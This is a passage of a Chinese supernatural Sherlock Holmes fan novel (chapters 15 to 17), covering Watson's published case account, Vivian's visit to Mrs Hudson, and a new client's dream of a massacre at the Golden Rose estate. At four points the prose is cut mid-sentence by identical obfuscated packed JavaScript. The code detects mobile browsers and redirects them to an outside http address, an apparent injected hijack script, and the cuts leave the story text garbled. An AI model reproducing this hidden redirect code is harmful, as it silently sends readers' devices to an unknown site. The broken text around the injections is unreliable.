约翰的话让在场的三人都侧目看去。 梅森小心问道：“华生医生，你是说你在写什么？” “呃，不过是一些不太入流，只能被称为自娱自乐的文章而已。” 歇洛克大笑起来，“雷斯垂德！这里可是一位专家！为什么不向专家请教？” 雷斯垂德也有些意动。 由侦探推荐的撰稿人作品可能会带来奇效。 虽然能在深渊中自如行动的存在不可能是常人，可这位华生医生看起来待人非常友善，连带着侦探在他身边的时候似乎也变得好交流了些，只是不知道请医生帮忙，需要付出的代价又是什么。 如同之前载着他们来到贝克街的【无面人的马车】，想要让它送人载物到指定的目的地，就需要付出足够的灵魂，雷斯垂德甚至觉得每个月都有五分之一死刑犯的灵魂都被无面人和它的黑马吃掉。 于是雷斯垂德试探地问道： “如果想请华生医生撰稿，我们要付出什么代价？” “代价？” 约翰一愣。 他觉得这个词用得很是古怪，于是纠结了一会儿，也小心地反问。 “嗯，代价，或者说报酬……难道不就是稿费？” 雷斯垂德惊喜，“只要你愿意的话……哦对了……” 他觉得自己接下来的话，对于一个非人存在来说，可能多少有些得寸进尺。 “我们是有审稿机制的。” 也就是说，稿件不一定能都发得出去。 “不过只要投稿的话，我们都会支付稿费。” 毕竟从对方刚才的话语来看，他还是很在乎自己能获得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784037|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的稿费的。 约翰喜出望外，“那可真是太棒了。” “哦对了！回头可能还有件事……” 不过那也是回头的事情了。 几天后。 伦敦街头的大街小巷里，报童们叫卖时候大声说着—— “奇异的凶杀案真相水落石出，制作毒药的竟然是一位车夫！” “新星撰稿人约翰·华生先生，记录他的侦探朋友歇洛克·福尔摩斯破案全过程！” “精彩绝伦！绝对震撼！” 一位穿着斗篷，头戴礼帽的绅士和其他人一样从报童那里买走一份报纸。 他半靠在有着纯白监狱墙壁的外围，看向手中的文字，理解其中蕴含的信息。 然后他嘟囔着。 “真是颇具浪漫主义色调的描述，和他的日记一样。” “但没有提及任何关于神秘侧的信息，强调了毒药的危害性。” “最后……” 他看见雷斯垂德从监狱门里走出来，像是有些惊讶和好奇看见他真的出现在了这里。 监狱门口目不斜视的守卫，还穿着中世纪盔甲的复古样式。 距离这里不远处就是伦敦最大的教堂，白鸽会因为震耳的钟声扑闪着翅膀飞向天际，但也会和普通人一样不约而同地会忽视这里。 雷斯垂德脚步匆匆地走到他面前。 “福尔摩斯先生，请代我向华生医生问好，另外无比感谢他精妙的文笔，替我们掩饰了神秘侧的信息，还出了主意，让大众认为我们成功逮捕了犯人。” 他们请善于便装易容的使者伪装成人形的霍普，重新“被逮捕”一次，这样就能惶惶不安的伦敦都安心下来。 这件事交由葛莱森去办了，雷斯垂德他们则带着真正的霍普，来到针对特别关押恶魔和超凡生物的监狱进行审讯。 现在他将装得厚厚的信封交给侦探。 “这是和医生说好的报酬。” 歇洛克接过信封，和报纸一起放好。 然后他拿出一枚戒指。 一枚银光闪闪的女戒。 看起来已经被人重新擦拭过。 雷斯垂德一愣，“这是……？” “如你所想，雷斯垂德。” “这是霍普最后想捡回来的那枚戒指。” “主啊……我以为它已经彻底消失在了下水道里。” “是的，我是指，按理说的确应该是这样。” “但华生特意找到了疏通下水管道的工人，请他们在那里找到这枚戒指，不出意外的话，你给的这笔稿费里将有大半都会花费这笔费用上。” 雷斯垂德一时失言。 最后他小心珍重地接过这枚戒指，诚恳地说道： “谢谢……感谢华生医生的好心，想必主会保佑这样的好心人。” 歇洛克说道：“我倒是觉得是他保佑你们还差不多。” “我也差不多该回去了，实验最后还有一些小步骤没有完成。” 雷斯垂德目送着他离开，重新走进这间特别的监狱之中。 单独的牢房里，皮毛斑驳的花马像是快要撑不住了。 支林破碎的灵魂即将消散之际，雷斯垂德将那枚银色的女戒放在了它的脸旁。 他低声说道：“霍普，你的罪恶不可宽恕，即使死后也应当付出代价。” “但……你应当有告别的权利。” “因为你并非恶魔，这是对人的慈悲。” 马儿微微睁开一只眼，雷斯垂德从它的那只独眼里看到了泪水。 霍普努力使自己的头轻轻偏过一个角度，最后亲吻了一下那枚曾经属于爱人的戒指。 【血字的研究完】 15.15 今天的贝克街也和伦敦其他街道一样被笼罩在影影绰绰的浓雾之间，阴冷的天气令女仆薇安下意识裹紧了自己的斗篷。 马车踢踢踏踏往前方跑着，自打上车开始，这辆由漆黑骏马拉动的马车就从来没有拐弯或是加减速度。 它只是一直迅速地向前、向前、再不断向前。 仿佛径直驶向无底洞的深渊一般。 不安和好奇在她耳边窃窃私语着，让她赶快掀开车窗窗帘的一角，看看外面到底已经是何风景。 也许她现在已经不在伦敦，立马让车夫调转方向回头才是真理。 但薇安紧紧握住了手中的烛台，微亮的烛光令她神智清明了些。 她知道，此时绝对不能掀开窗帘看向外面。 白骑士团第四小队将这辆马车借给他们的时候，就特意嘱咐过，登上【无面人的马车】需要注意几点。 第一，需要提前支付给无面人与它的马报酬，视情况而定，需要准备三到五个人的灵魂。 第二，任意一人一个月内最多使用五次该马车。 第三，不要关注这辆马车到底行驶过那些路径，以何种方式将乘客和货物送达目的地。 第四，在途中绝对不可以主动掀开窗帘或打开门，马车与车夫只负责送客或送物，一旦乘客或物品主动离开车厢，无面人并不对他们的安全负责。 第五，无面人和黑马不会与乘客对话，它们只在乘客支付报酬的时候倾听目的地，如果它们和乘客对话，不要回答，应当立即、果断、千万不要犹豫地跳车离开，因为那个时候，这辆马车根本就不是【无面人的马车】。 薇安牢记这五点要求，清楚明白哪怕是夫人和公爵在此也必须严格遵守这五条铁律，否则极有可能遭遇生命危险。 她今天是要来贝克街221室，拜托一位尊敬的老妇人帮忙一件事。 但不管是夫人还是公爵，在这个关键时间点上都无法前来，所以只有她一人孤身前往。 这让她感觉不安的同时，又一种重担在身的急迫感。 马车随着有节奏的声音走过一段路，终于在某个时刻停了下来。 薇安在车厢里谨慎地又等上几分钟的时间，确信不是自己感官出现错误后，才问道： “我们到目的地了吗？” 车夫没有回答，只有黑马不耐烦地打了声响鼻。 薇安放心下来，她裹紧身上的披风，小心翼翼地举着烛台下车。 看上去与伦敦其他街道别无二样的风景映入她的眼帘。 薇安有些诧异，她明明还记得之前自己来到这里的时候，见到的是凝固不动的云，仿佛永远定格在午夜时分的夜幕，以及空无一人的街道。 但现在，报童的叫卖声、街边的面包店里传来的香气都令她感到茫然失措。 实际并不处于现实世界的夹缝空间里，为什么会出现与人类社会一样的景色？ 这里到底发生了什么？！ 薇安谨慎地迈出一步，生怕眼前的一切只是幻想，只要自己稍稍不小心，就可能跌落无尽的深渊之中。 但坚实的地面似乎是在告诉她，眼前的一切都是真实的。 她缓缓吐息，像是努力镇定自己的心情和思绪，抱着一开始就做足的心理准备，敲响面前贝克街221室的大门。 贝克街从85号向后就不存在于现实的维度，只能通过某些特殊的，或特定的手段才能进出，按理说这里应当是荒芜的深渊领域，可不知何时这里竟然已经产生了翻天覆地的变化。 薇安心里清楚，如果她还能活着回去，这个情报就成为莫大的价值…… 就在这短暂的思考间隙之中，公寓的大门被从内部打开。 头发已经花白，但走路已经虎虎生风的老太太打开门，看向薇安的时候露出微笑。 “哎呀，薇安小姐，上午好。” 薇安的思绪被打断。 她想到—— 莫大的……价值？ 不……这么稀疏平常的事实，也需要成为特意进行报告的价值情报吗？ 见面前这位老妇人微笑着，薇安连忙打起精神。 “您好哈德森太太。” 她努力记住，在这里应当表现得与寻常一样，不要对异样表现出大惊小怪的失礼动静来。 哈德森太太请她进门。 她的屋里总是燃烧着壁炉，在伦敦这种总是阴雨连绵、或浓雾缭绕的城市里，就显得很是温暖干燥。 老太太似乎很喜欢收集各种各样的东西。 客厅里物品繁多，但不显杂乱，每一样东西都井井有条地待在它们自己应该存在的位置上。 薇安克制着自己不要东张西望，不过在壁炉前的沙发上落座时，还是用眼角的余光看见矮桌上多了一盆颜色极其鲜艳亮眼的红玫瑰。 那朵玫瑰看起来含苞欲放，整体规整得犹如一个圆球，好似某位知名的艺术家用红宝石雕刻出的精美工艺品。 见她的视线不由自主地被那朵鲜艳的玫瑰吸引，哈德森太太为薇安端来茶水的时候，顺带笑着说了一句。 “不久前刚收到的新东西，一个适当的价格就能带走。” 薇安感觉那朵红玫瑰像是轻轻转动了方向，半开的花瓣盛放得更明显了些，露出中心赤红的眼珠。 但等她哆嗦一下后，再定睛看去，那又只是一朵玫瑰，不见几秒前的异样。 薇安感觉自己背后满是冷汗，她连忙摇摇头。 “谢谢您的好意，哈德森太太，但我今日前来，是奉女主人之命。” 哈德森太太也没有强求。 她坐在薇安的对面，然后拿着茶壶开始倒茶。 热茶蒸腾的水汽扑面而来，带来茶叶被泡开后的清香。 薇安感觉自己一直紧绷的精神稍稍放松了些。 她将小心拿在手里的精致烛台，放在自己与老太太中间的矮桌上。 这只银质烛台款式典雅精致，又能恰当地融入周围一切环境。 它如果在贫穷人家，就该在餐桌的正中央；如果在权贵豪门，就在舞厅的墙上；如果在皇宫，或许就会被摆在女王的书桌前。 但这只烛台上的蜡烛短得可怜，看上去只剩小小的一截，像随时都会彻底燃烧殆尽，而使其上那点微弱的火苗熄灭。 哈德森太太靠近烛台。 “亲爱的薇安。” “你是知道的，我出售的物品是不会再二次回收的。” 她说话时带动气息的流动，可那点烛火稳稳当当，似乎没有半点摇晃偏移。 “不，哈德森太太，夫人的意思并不是妄求你回收【生命之烛】。” 薇安像是早就预料到她会说这样的话，也早早就想过了应答的话语。 她将怀中镶嵌有名贵珠宝的木盒也放在桌上，然后推向对面的人。 “您是一个受人尊敬的商人，不回收出手的物品，但不意味着不能暂存于此。” “夫人的意思是，想先把蜡烛寄存于此，等事情结束后，她将亲自登门拜谢，再取回它。” 哈德森太太倒好了两杯茶水。 “夫人如此确信自己就能获胜？” “诺福克在沙场上战无不胜。” 薇安挺直了脊背，与自己的女主人荣辱与共，她孤身来此的时候原本还很害怕，可当她提起这句话的时候，似乎就从中汲取到了勇气和力量。 “对于夫人而言，这就是她的战场，诺福克将杀穿战场，夫人也会如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798616|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她语气笃定地说道，不再有之前的惶惶不安。 哈德森太太看着她点点头。 “既然如此，那么这幢生意成交。” “算是为夫人的旗开得胜，增加一些小小的彩头。” 她笑着将那杯带着热气的茶水推到薇安的面前。 “谢谢您的体谅。” 薇安心中重担落地。 在今天之前，她从未和哈德森太太有过单独交流的机会。 曾经与夫人一起来这条街道的经历并不愉快，她离开贝克街后做了快有一个月的噩梦，梦里唯有这幢房子温暖如春，燃着终年不灭的壁炉，可她怎么也跑不到这样安全的地方。 对此她总觉得这样的地方太过诡异，可现在再看哈德森太太温和的笑容时，她又觉得安心起来。 她轻抿了一口茶水，感觉很香，也很舒心。 哈德森太太这时说道： “我虽然对夫人接下来要做的事情无法提供一些帮助，不过对于那件横在夫人心头的陈年旧案，倒是能推荐一位颇有能力的侦探。” 薇安心头一跳。 她端着杯子的手开始有些颤抖。 “哈德森太太……你确定？” 哈德森太太轻轻吹动着杯中的茶叶，然后微笑。 “亲爱的，商人需要有信誉。” “不过我向你与夫人推荐，信与不信的主动权则是由你们自己判断。” “口说无凭，你可以将那朵玫瑰带回去给夫人作证明，那正是那位侦探和他的助手之前给我的，若是夫人同意，不妨暂且收下，若是不愿意就请雷斯垂德警官再送还给我。” “哦对了，不要盯着那朵玫瑰太长时……” 但来不及的是，薇安又一次不受控制地看向那朵玫瑰。 这次她看得清清楚楚，玫瑰彻底盛放，露出内里赤红的眼珠在盯着她。 她蓦然感到身体僵硬，随后是极度地刺痛从皮肤表面生长。 痛疼在生长，几乎让她放声尖叫起来，在她低头的瞬间，她看到自己皮肤皲裂，玫瑰的根茎深深扎根于肌肉的纹路之中，像是要将她整个人体内的血液都一并抽干。 她要尖叫求救，可半点声音也发不出。 绝望纠缠着愤怒炙烤她的灵魂，要将她燃烧成灰烬供给玫瑰的肆意生长。 突然一只手拦在了她的眼前。 薇安感觉自己的痛疼骤然消失。 她大口喘着气，满身冷汗地靠在背后的沙发上。 哈德森太太的声音从耳边传来。 “【玫瑰毒药】的触发条件是盯住它超过五秒后，就会中毒，只有付出相应的代价，它才会安心听从其携带者的指挥。” “不过这份毒素诡异地可以维持人的理智，在短时间内不会精神彻底崩溃，属于一把双刃之剑。” 薇安颤抖着身体，她感觉皮肤的刺痛经久未消，像是仍有玫瑰的根茎在血肉里蠕动钻孔，带来嫉妒的疼痛，和被折磨的痛苦与愤怒。 “吃了它。” 有什么圆球一样的物品触碰着她的嘴唇，薇安张口将它含在舌尖，像是蜂蜜的甜味被味蕾接受到，最终抚平她灵魂上的不适。 “这是……糖？” 薇安不确信地问道，她感到自己身体上的不适逐渐消散，好像刚才发生的只是一场幻觉而已。 “不，这是药。”哈德森太太放下捂住她眼睛的手，“是楼上与侦探合租的医生送给我的药。” 哈德森太太微笑着，“你体内的毒素已经被解除，牢记我接下来对你说的几个要点……然后，我会期待夫人的回信。” “在【生命之烛】彻底熄灭前，这或许是个能够查明真相，扭转结局的机会。” 16.16 今日的贝克街221B显得格外风平浪静。 约翰拿着报纸坐在单人沙发里，目光随着纸上的新闻消息，时而快速掠过，时而细细凝视。 歇洛克躺在一旁的长沙发上闭目养神，不知道在想些什么。 几分钟后。 约翰放下报纸，即将开口的刹那，歇洛克也闭着眼睛开始开口说话。 “天呐！歇洛克你知道吗——” “福诺克公爵今日深陷矿山坍塌赔偿事件之中，保险公司经调查后，发现矿洞坍塌有人为毁坏的痕迹，怀疑是福诺克公爵故意骗保，导致十三人死亡，四十一人受伤。” “但福诺克公爵公开否认，他表示自己一生卫国，绝不可能做出如此伤害民众的事情，相对他以及他的律师团队将矛头指向一直与福诺克政见不合的亨伯侯爵，提出是亨伯侯爵前些时间派人来到矿山动了手脚，福诺克公爵的律师甚至表示已有确凿证据，表明那些小混混就是受到了亨伯侯爵的雇佣和指使。” “而今天的报纸可就有意思了。” 语速飞快的歇洛克睁开眼。 “今日亨伯侯爵同样在报纸上公开表示，那些小混混是福诺克公爵的自导自演，他那里也有确凿证据。” “哦——天呐……我甚至以为你有读心术！” “不过是因为我比你更早一步看了报纸而已。” “有用的信息就在大脑里归类存档，没用的信息尽早将它们扫地出门，不要过多占用自己的精力，只不过常人往往忽视这一点，或是将两者混淆弄错。” 歇洛克说道。 约翰合上报纸，好奇问道： “那么歇洛克，你认为这件事到底哪一方才是正确的？” “福诺克？亨伯？” “显然是福诺克公爵。” “为什么你如此笃定？” “那些小混混的口供说自己是在摄政街拿走报酬的，华生，回想一下伦敦的街道地图，你应当记得摄政街充当着分隔富人区云集的圣詹姆斯街，与女王即位前就建成的老街苏活区的分界线。” “虽然表面上来看这些被逮捕的小混混们被双方雇佣的概率是一半一半，但实际上结合最新的情报思索一番，你就能很清楚地发现，他们极有可能是被亨伯侯爵雇佣的。” “因为在一个月前，矿山坍塌事件还未发生之际，那三个小混混就因入室抢劫未遂被逮捕过，当时保释他们出来的人平平无奇，自称是三人的叔叔，平日里对他们管教不利，实际上进一步调查，你会发现那位保释人是亨伯侯爵贴身男仆名下一位牧场的管理者。” “他的牧场里养着牛和羊，但放牧的伙计比狗还凶，比狼还狠。” “只要亨伯侯爵一声令下，这些伙计在眨眼间就能变成打手，随时以好似不相干的第三方出面下狠手。” “竟然还有这样的内情！” 约翰不由惊讶。 “不过报纸上都不知道的消息，歇洛克你又是如何知道的？” “我曾经将那些严重伤人案件里的行凶者身份做出调查归档，自然就发现了那间牧场，随后根据那牧场的访客记录，发现了它真正的主人。” 歇洛克说道，语气似乎并不觉得这是什么大不了的事情。 约翰这下连报纸也不想继续看下去，刚想再追问一些歇洛克以往接手过的案件细节时，起居室的门被敲响。 哈德森太太隔着门说道： “两位先生，有客人到访。” “歇洛克，看样子是有案子了！” 经过这些天与这位舍友的相处，约翰算是明白，能称之为歇洛克朋友的人可能……说屈指可数都有些过头，没有倒是真的，偶尔有类似雷斯垂德这样的到访，也只能算是委托人而已。 那么这个时候，这么正式上门的，除了委托人，他想不出第二种。 “华生，我只希望这次的案件不要无聊到让我觉得是在浪费时间。” 歇洛克从长椅上一跃而起，然后拉开起居室的大门。 “请进，这位刚从柯芬园艺场经过的先生。” 门外看起来只有二十多岁的青年一愣，下意识的问道： “什么？您怎么知道我刚从柯芬园艺场来？” “你身上沾着新鲜的泥土和草屑花瓣，但鞋底的泥非常少，显然不是去了公园的草地，只是经过拥挤花卉市场之类的地方。” “而你手中提的购物袋上，印有的标志是皮克底里圆环附近的商店，距离那里最近的自然就是柯芬园艺场。” 侦探看了眼他手里的购物袋和里面冒出一角的纸张。 “顺带，你在问有关福诺克公爵的事情？不是矿山……庄园？福诺克公爵名下的庄园……金玫瑰庄园？” 青年的身体顿时僵住。 “为什么你会……” “那张纸。” “上面记录了很多庄园的持有人姓名，你又单独把矿山那件事抽出来，压在这页后面。” “你细细看过了那些庄园名称，着重在G开头名字的庄园那里查阅过，还用指甲按了印记。” 歇洛克说道： “结合这些信息，还不明显吗？” “你在找金玫瑰庄园。” “这……真是令人难以置信……” 青年被震惊到几乎连说话都变得磕磕绊绊起来。 约翰拍拍他的肩膀，把他从那种不可置信的恍惚中惊醒。 “先进来坐吧。” “哈德森太太，麻烦你泡壶茶。” 三人在起居室落座，互相介绍后，青年有些局促地开口。 他的名字是艾伦·威廉斯，原本在柯芬园艺场那里买了份报纸，但被风吹跑后，他急忙弯腰跟着跑了几步去捡，一位肩膀上趴着灰鼠的报童帮他按住，递还给他，但没想到再抬头时，竟然已经站在了这条街上。 他迷茫地询问街上的行人，没想到竟被告知这里是贝克街。 主知道园艺场和这里距离有多远，他怎么也想不通自己是如何在几步间就来到这里的。 结果他想离开时，却发现怎么也走不出这里的白雾，仿佛他被困在这条街道上，循环往复地做着徒劳的无用功。 这时，一位老妇人偶遇了他，说他如果有实在烦恼的事情，或许可以向这里大名鼎鼎的咨询侦探求助，于是他就跟着她来到了这里。 这时哈德森太太端着茶壶和茶杯上楼。 她对着他们笑笑，然后离开。 歇洛克拿着烟斗说道： “那么，威廉斯先生你真是好运，要知道这样贸然拜访这里的普通人可能只剩半截身子。” 威廉愣住，“这……” 约翰咳嗽一声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803801|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不要把我们这里说得像是凶杀案现场一样。” 歇洛克抽着烟问道：“那么你的委托是？” 威廉犹豫了一下，“我想……请您调查一下金玫瑰庄园，帮我寻找一个人，他的名字是……不，我不知道他的名字，但他和我差不多的年纪，甚至还要小点，他有着一头纯正的金发，蓝色的眼睛，性格很开朗外向，应当是上流社会的贵族子弟。” 拿着纸笔记录的约翰有些好奇。 “找人？您找他是有什么事吗？” “说来你们可能不信。” 听到这话的约翰心想，自打他和歇洛克经历过前几次的事件后，再离谱的事情，他也不可能完全持否定态度了，况且他的笔记本还没找回来，不知道在雷斯垂德那里没有消息的前提下，要不要委托歇洛克进行调查。 威廉看看他们两人表情，似乎发现没有人露出不信或是不耐烦的神色时，才继续说道： “前几天晚上，我发现自己出现在一间富丽堂皇的庄园里。” “那里很是豪华漂亮，但装修风格不知为何是三三十年前的模样。” “我几乎以为那是一个梦！” “那时看天色，似乎已经临近傍晚，庄园里应当在做举行舞会的准备。” “我是个最下等的杂役男仆，被指挥着干这干那，最后需要去倒泔水……那味道让我怀疑简直比现实还要逼真，就是在我浑浑噩噩出门的时候，遇到了一名马夫，也就是刚才我说要找的那个人。” “他问我为什么会在金玫瑰庄园。” “我说，我不知道。” “但梦里的我，依稀记得自己似乎并不应当出现在这里。” “然后那位马夫小伙子就和我说，我似乎还有什么机会，让我跟着他躲在外面千万不要进屋里，不管那些上流贵族和其他仆人许诺多少好处，都不要进去。” 这些情节听起来就像一场怪梦。 但威廉的表情看来像是全部亲身经历过一样，加上话里的情绪起伏，让约翰听得越发认真。 “接下来，与我一起在厨房干活的仆人们，果然都很想找机会进入舞厅为那些大人物服务，这样也许就能找到飞上枝头的可能。” “有一些大人物也会来挑选一些仆人来专门为自己服务，但我觉得……总之我觉得他们的目光都很奇怪，比起说是看中了外貌，两位你们知道的，这样的癖好在那些人之间真是……” “哦那的确是。”歇洛克叼着烟斗说道：“不过我想这不是重点。” 威廉深吸一口气。 “是的，您说的对，这其实不是重点。” “重点是，我还记得年轻的马夫小伙子对我说的话，于是在舞会钟声响起之前的几分钟，我就离开了厨房，避开人群往庄园墙角那里走去。” 说着，他的脸色变得苍白起来，像是有莫大的恐惧攥紧了他的心脏。 “我见证了……一场狂欢的杀戮。” “钟声敲响七下的时候，庄园里几乎每个人都在互相厮杀，甚至要生吞活剥了对方。” “要是拿着刀剑，就要将除了自己以外的人都砍成烂泥；若是徒手抓住别人，就要将那人全部嚼碎吃下。” “那简直是地狱一样的场景！如果我还在人最多的舞厅，我简直不敢想象那里会是什么样的惨剧现场！” 17.17 眼前名为艾伦·威廉斯的青年实在是太激动了，激动到几乎要叫旁人会以为他得了癔症。 歇洛克挑了挑眉，像是有些不耐他的胡言乱语，于是他的烟斗正着朝下落在他的肩膀上，似乎想让他安静一些。 明明隔着黄铜、木托以及厚实的衣物，但艾伦感觉这简直像是一柄烧红的火钳直接刺穿了贴身的衣物，要烧毁他的皮肉。 可在剧烈的疼痛之前，是莫大的恐惧先掐断他的声带，挑断他手脚可以行动的经络。 “哦？” 歇洛克若有所思的声音传来。 “看上去你的朋友亲人之中有使者。” 他收回压在对方肩膀上的烟斗。 在华生看来，就像原本很是激动的青年不知为何突然僵在原地，然后变得安静下来。 他赶忙将热茶塞给他。 “威廉斯先生？” 艾伦猛地回神，“……抱歉，我，刚才似乎……” 手中热茶的温度令他感觉稍稍放松了些，然后他下意识摸了一下肩膀的位置。 灼伤的痛感已像幻觉一样眨眼消失，连带指尖抚摸的衣物都没有丝毫的破损。 “发生什么了吗？” 艾伦摇头，看向对面拿着烟斗的侦探。 对方正在翻看书架上的什么资料，像是并未注意他的视线，或者说并没有将他带着后悸的目光放在心上。 “哈——金玫瑰庄园！” 约翰听出舍友语气里上扬的尾音。 一般这个时候，就是他发现了某些线索。 “歇洛克，你是不是发现了什么重要的东西？” “看看这个，华生。” 歇洛克将以前的报纸放到他面前。 这应当是一张二十多年前的老报纸，版头的日期印着多年前的日期和天气，但不知道用了什么奇妙的仪具或是仪阵，这张报纸新得就像他们几分钟前刚才楼下报童那里买来一样。 和如今的报纸相同，版头的那里当然要放上最引人注目，抓人视线的新闻标题。 《福诺克公爵独子于金玫瑰花园失踪！作俑者疑似亨伯侯爵！》 《福诺克、亨伯争夺矿山所有权，竟于公开场合大打出手！女王陛下有言！》 《双方彻底反目！福诺克公爵扬言要亨伯侯爵为子偿命！》 “……原来二十多年前，福诺克公爵和亨伯侯爵就有旧怨？！” 约翰一目十行地浏览那些文字。 虽然那些报纸上的信息，耸人听闻的程度一点也不比二十多年后差，不过约翰还是大抵总结出了这些信息的关键。 金玫瑰花园位于伦敦郊区，占地面具颇大，粉刷装饰得相当富贵豪华，其法定所有人正是福诺克公爵独子。 二十多年前，公爵正卫国征战，他的独子不似父亲在战场骁勇，但年纪轻轻就展现出在征战商场的风范。 借由家族的优势，他在伦敦附近投资大量新兴实体产业，拿下附近多处矿洞矿场，一跃成为整个英国最富有的几名贵族之一。 就在他与亨伯侯爵焦灼谈判，外界大半的目光集中在那处矿藏丰富的地区将被谁买下的前夕，他忽然失踪。 没有任何的风声，也没有任何的征兆。 据在庄园中的仆人们所说，年轻的主人当天早上和下午都在书房里处理商业上的事务，傍晚他暂时让仆人离开，说是换好礼服，就该准备去参加一个舞会。 也就是这短短几分钟的时间，等到仆人们发现时间快要来不及，再度敲响房门的时候，就没有再看见他的踪影。 但即便福诺克公爵独子失踪，那处矿山仍旧没有被亨伯侯爵拿下。 随后不到一周，前线战事正式结束，公爵回到伦敦，福诺克与亨伯算是彻底撕破颜面，双方结仇不断。 但由于没有明确的证据能证明是亨伯侯爵做的这一切，所以这起失踪案至今也就成了悬案。 而位于伦敦郊区的那座豪华庄园因种种原因就此没落，变得破败不堪，像是被遗忘在了时光与岁月的尘埃里。 约翰翻到下一张报纸。 这条新闻占据的版面很小，不过由于沾上福诺克的名号，所以还附带一张照片。 “这简直就像鬼屋。” 约翰看了看报纸上那张照片。 那栋建筑被荒芜的杂草包围，连带一些房屋也因为年久失修变成野生动物的巢穴，或许里面曾经还有几个胆大的流浪汉敢住进去，但不知何时又有传闻，说失踪的福诺克少爷其实早就死去，他的灵魂一直徘徊于此，会将每个进入庄园的活人当成是凶手活活折磨致死。 对此，歇洛克的评价是—— “无稽之谈。” “如果有活人的灵魂离体徘徊，那也很快就会变成超凡生物与恶魔们的盘中餐。” 面对不知情的普通人可不能主动提起神秘侧的信息。 约翰轻咳一声。 他将最后那张报纸放在艾伦的面前。 “那，威廉斯先生，你去的是这里？” “不。”艾伦坚定地摇头，放下茶杯，将约翰手中另一张报纸抽来，“我去的是这里。” 那张二十多年前的老报纸上，金玫瑰庄园金碧辉煌，黄色的玫瑰多得像海，更像一大片随风摇曳的黄金。 “总不会是穿越时空了吧！” 约翰说道。 “一个不错的猜想。” 歇洛克抽着烟斗问道： “那么你的依据是？” “呃，你看，因为他去的地方明显是二十多年前的金玫瑰庄园……不过，那时的庄园不可能发生了那种规模的屠杀，否则报纸上早就是风言风语。” 而现在歇洛克找出来的老报纸上没有任何一件事，能与艾伦刚才说的经历对上。 于是约翰绞尽脑汁，又说出另一个猜想。 “会不会是与金玫瑰庄园极其相似的另一个庄园？” 艾伦摇头，“先生们，在这个梦醒后，我特意去了一趟如今的金玫瑰庄园，正门门口的景色和我梦中的一模一样，连我在梦里逃出来的墙角那里，有一棵歪脖子树生长的角度都别无二致！” “只不过我那天所见，也如报纸上这样。” “庄园不再豪华，只显得残破，而我只是想找到之前提醒我的马夫，好好感谢他……再提醒他最好也快点离开那种鬼地方。” 歇洛克放下烟斗，起身拿起自己的外套。 “那么我的建议是，不如亲自去那里看看。” 三人一起离开，站在街边唤来马车。 随着车夫扬鞭驱使，马车快速奔驰，浓雾就像缥缈的洋流一般从车厢两侧流淌。 当艾伦看向窗外的时候，有些惊讶地发现，自己之前像怎么走不出去的街道，此刻已经被甩在了身后。 随着浓雾渐散，当人能直观感受到太阳的暖意时，他们已经来到伦敦郊区附近。 “先生们，金玫瑰庄园到了。” 马车停下。 歇洛克第一个跳下车，艾伦看去的时候，恰好看见这位据说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808701|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大名鼎鼎的侦探将车钱递给车夫。 但他给的车钱似乎有些不同寻常，像是闪闪发光的玻璃珠。 然而当艾伦再定睛看去的时候，那些玻璃珠又成了普通的钱币。 车夫对他笑了笑。 艾伦打了个哆嗦，连忙跟下车来。 入眼所见，正如报纸上那样，甚至还要比照片上的更荒凉几分。 约翰的手轻轻放在自己腰间的枪套上。 他提防这里不仅有郊狼，可能还有不怀好心的歹徒。 歇洛克说道：“不用担心，至少我对我的身手是有信心的，保护我们不是问题。” 他当然知道自己的舍友远比表现出来的更精通格斗，或是其他某些超凡力量，不过…… “我带上这些，会让我们更有保障，更何况，万一发生上一次的情况，即使相隔得远，我还能帮上忙。”约翰说道。 歇洛克顿了顿，然后点头。 三人用手杖拨开杂草，走进庄园之中。 庄园的大门已经倒塌，正对锈迹斑斑铁门的是一座喷泉池。 这座喷泉实在精美，又颇具特色。 它以福音教七天使为主题，雕刻了栩栩如生的天使来到人间的形象。 